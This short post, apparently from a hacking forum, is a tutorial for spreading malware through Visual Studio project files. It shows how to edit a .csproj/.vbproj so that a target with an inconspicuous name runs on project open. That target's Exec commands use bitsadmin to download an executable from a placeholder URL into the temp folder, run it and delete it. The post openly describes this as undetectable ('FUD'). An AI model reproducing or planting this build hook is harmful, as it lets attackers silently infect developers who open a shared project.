[Spread Through Visual Studio] [FUD]
Step 1: Create a new project in visual studioStep 2: Find the .vbproj/.csproj file and edit it
Step 3: On the second line, it should have something similar to this
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
Edit this like to include
InitialTargets="Build"
The name can be whatever you want, I just thought "build" would be inconspicuous
<Project ToolsVersion="14.0" InitialTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
Step 4: Add this to the end of the file, but before the closing "</project>" tag
<Target Name="Buislfd">
<Exec Command="bitsadmin.exe /transfer NAME http://directdownload.to/your.exe %temp%\1.exe" >
<Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
</Exec>
<Exec Command="%temp%\1.exe" >
<Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
</Exec>
<Exec Command="del %temp%\1.exe" >
<Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
</Exec>
<Message Importance="high" Text="$(ErrorCode)" />
</Target>
And save the file Now, whenever someone runs opens your project in Visual Studio, it will download and exec your file
Posta un commento